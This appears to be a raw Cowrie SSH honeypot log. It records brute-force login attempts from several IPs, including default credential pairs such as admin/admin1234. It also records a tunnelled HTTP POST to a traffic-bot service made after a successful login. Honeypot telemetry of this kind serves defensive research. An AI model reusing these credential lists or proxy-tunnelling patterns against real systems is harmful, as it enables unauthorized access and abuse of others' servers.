{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:29.939274Z","src_ip":"45.153.34.195","session":"f21882bd3725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52404,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d5d5c40589","protocol":"ssh","message":"New connection: 45.153.34.195:52404 (10.17.0.5:22) [session: d0d5d5c40589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:31.142635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:31.147552Z","src_ip":"45.153.34.195","session":"d0d5d5c40589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:31.241515Z","src_ip":"45.153.34.195","session":"d0d5d5c40589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:31.532063Z","src_ip":"45.153.34.195","session":"d0d5d5c40589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:32.614801Z","src_ip":"45.153.34.195","session":"d0d5d5c40589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22262,"dst_ip":"10.17.0.5","dst_port":22,"session":"699afa65113d","protocol":"ssh","message":"New connection: 45.153.34.195:22262 (10.17.0.5:22) [session: 699afa65113d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.164265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.168421Z","src_ip":"45.153.34.195","session":"699afa65113d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.250730Z","src_ip":"45.153.34.195","session":"699afa65113d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":62906,"dst_ip":"10.17.0.5","dst_port":22,"session":"07122f58cbda","protocol":"ssh","message":"New connection: 23.148.145.132:62906 (10.17.0.5:22) [session: 07122f58cbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.442535Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.496637Z","src_ip":"45.153.34.195","session":"699afa65113d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.686642Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:34.690875Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:35.579024Z","src_ip":"45.153.34.195","session":"699afa65113d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22294,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd613297de2c","protocol":"ssh","message":"New connection: 45.153.34.195:22294 (10.17.0.5:22) [session: cd613297de2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:37.009548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:37.141656Z","src_ip":"45.153.34.195","session":"cd613297de2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:37.144818Z","src_ip":"45.153.34.195","session":"cd613297de2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:37.611833Z","src_ip":"45.153.34.195","session":"cd613297de2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:38.695769Z","src_ip":"45.153.34.195","session":"cd613297de2c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:39.832029Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22314,"dst_ip":"10.17.0.5","dst_port":22,"session":"481e275c272d","protocol":"ssh","message":"New connection: 45.153.34.195:22314 (10.17.0.5:22) [session: 481e275c272d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:39.905037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:39.926746Z","src_ip":"45.153.34.195","session":"481e275c272d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:40.135897Z","src_ip":"45.153.34.195","session":"481e275c272d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:40.523405Z","src_ip":"45.153.34.195","session":"481e275c272d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":65005,"dst_ip":"10.17.0.5","dst_port":22,"session":"004e8683fa94","protocol":"ssh","message":"New connection: 38.46.222.137:65005 (10.17.0.5:22) [session: 004e8683fa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:40.890863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:40.896302Z","src_ip":"38.46.222.137","session":"004e8683fa94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:40.962100Z","src_ip":"38.46.222.137","session":"004e8683fa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:41.607298Z","src_ip":"45.153.34.195","session":"481e275c272d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:41.764563Z","src_ip":"38.46.222.137","session":"004e8683fa94","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:42.490769Z","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:42.546815Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cGJTTmZJI1BEJnM%2FfWtCcQ%3D%3DCycONBl74ZkjLurzXoXm9HSU7Zlp3NBQWD9QSwL3SDQaDlieEgdGCm7y0VpzSy4akygnR2FqOZrlunqARKUQCu9gWsZxE4OrK2d7IrXw%2B06c7h7MRVnL7%2BW2ViOk6p%2BCUSiBx6o%2FSGCjbVVwLop0hggEELdGAQO6UcWW%2BZHuoPX23EJeX5GC0nwkqPHySmUSyEquDj%2BR0zCdjHG4ol8uhfsZ2Gssou%2BGWobQsofQ8ijPZ2Gy6cjceB3PBqiZOUyfNka%2BphKiKDo3Ki%2FFirbQHew8xcQhm8cbz4vlfHmXFbrT%2FOpS4mMNwLoMuyNBs6Zf0fvLm3cr%2BxwPrs8BeSX5s%2F2w9Jzp4U6OgUL%2FGO%2B77kkh6HCML9bVyxmNVa3tzRVd2yL41tJBJFJva7qqebl%2BmzI94%2FtYDzMkbL%2BZ9Zz5lG53HpWePC0Z5bALwGjEEBjkboDCDbdB8vk6Pg8qhoKxN8MLVnCdo%2FHV0uHHPOz%2BQSz4h%2FG8TIcg6AWJYbsCvxWK2qWoexiM2Tdx%2FpokkhvY37YU0f0MBxcBX85jqNowPS2KNrjEzhFDISl%2BEhotoanOcvhQLTqo9Uf28q5307XkoaX3KY5NEea8OxyLYm0%2FeuJ9CeMF2ZVEltvgiVh6rPhr3xMUhOXPRqYoMF3kBNLNmaC324IUBaez0DAt%2BEk8AgzoVyQx6iRctRbrY09rr%2BB1mPJy3PROU5zYaFYp4xGBDYZ%2B3TcDLlr991aUS%2B9p9Z8rcTvcoY2PWKEXWEZvEsjE8M9k3DQGaQ%2FC4a30oCf%2FzHH8FfkOojnvDDPZXvBXf8aaaHvK4HMnb6hdTUVKChcHk78ux59DwBc6BswS3AU00y3OXIfoncv2n%2FN%2BuJFGxrIdZEauNiB9kkppuGhoIqNjS1PDAt0pxpmSrkP5otGBwc8PzMSpe8dEMsP3UvHhmjBrETqRZWDC5rLxbqH0XWbqmeOPpfC1LUiEU45TF8DBQ%2F5BAd4SQlUPX1ln8Msksfr4QvtBUQNt04U3TBoy5sPVnu5jDwpzDA8SNXMJjyBGx22tiiLxn4HDr8kZ6vhBi05%2BCWvzknugThSpBTYMXec%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cGJTTmZJI1BEJnM%2FfWtCcQ%3D%3DCycONBl74ZkjLurzXoXm9HSU7Zlp3NBQWD9QSwL3SDQaDlieEgdGCm7y0VpzSy4akygnR2FqOZrlunqARKUQCu9gWsZxE4OrK2d7IrXw%2B06c7h7MRVnL7%2BW2ViOk6p%2BCUSiBx6o%2FSGCjbVVwLop0hggEELdGAQO6UcWW%2BZHuoPX23EJeX5GC0nwkqPHySmUSyEquDj%2BR0zCdjHG4ol8uhfsZ2Gssou%2BGWobQsofQ8ijPZ2Gy6cjceB3PBqiZOUyfNka%2BphKiKDo3Ki%2FFirbQHew8xcQhm8cbz4vlfHmXFbrT%2FOpS4mMNwLoMuyNBs6Zf0fvLm3cr%2BxwPrs8BeSX5s%2F2w9Jzp4U6OgUL%2FGO%2B77kkh6HCML9bVyxmNVa3tzRVd2yL41tJBJFJva7qqebl%2BmzI94%2FtYDzMkbL%2BZ9Zz5lG53HpWePC0Z5bALwGjEEBjkboDCDbdB8vk6Pg8qhoKxN8MLVnCdo%2FHV0uHHPOz%2BQSz4h%2FG8TIcg6AWJYbsCvxWK2qWoexiM2Tdx%2FpokkhvY37YU0f0MBxcBX85jqNowPS2KNrjEzhFDISl%2BEhotoanOcvhQLTqo9Uf28q5307XkoaX3KY5NEea8OxyLYm0%2FeuJ9CeMF2ZVEltvgiVh6rPhr3xMUhOXPRqYoMF3kBNLNmaC324IUBaez0DAt%2BEk8AgzoVyQx6iRctRbrY09rr%2BB1mPJy3PROU5zYaFYp4xGBDYZ%2B3TcDLlr991aUS%2B9p9Z8rcTvcoY2PWKEXWEZvEsjE8M9k3DQGaQ%2FC4a30oCf%2FzHH8FfkOojnvDDPZXvBXf8aaaHvK4HMnb6hdTUVKChcHk78ux59DwBc6BswS3AU00y3OXIfoncv2n%2FN%2BuJFGxrIdZEauNiB9kkppuGhoIqNjS1PDAt0pxpmSrkP5otGBwc8PzMSpe8dEMsP3UvHhmjBrETqRZWDC5rLxbqH0XWbqmeOPpfC1LUiEU45TF8DBQ%2F5BAd4SQlUPX1ln8Msksfr4QvtBUQNt04U3TBoy5sPVnu5jDwpzDA8SNXMJjyBGx22tiiLxn4HDr8kZ6vhBi05%2BCWvzknugThSpBTYMXec%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:42.549943Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43018,"dst_ip":"10.17.0.5","dst_port":22,"session":"d48055fb1845","protocol":"ssh","message":"New connection: 45.153.34.195:43018 (10.17.0.5:22) [session: d48055fb1845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:42.913379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:42.917125Z","src_ip":"45.153.34.195","session":"d48055fb1845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-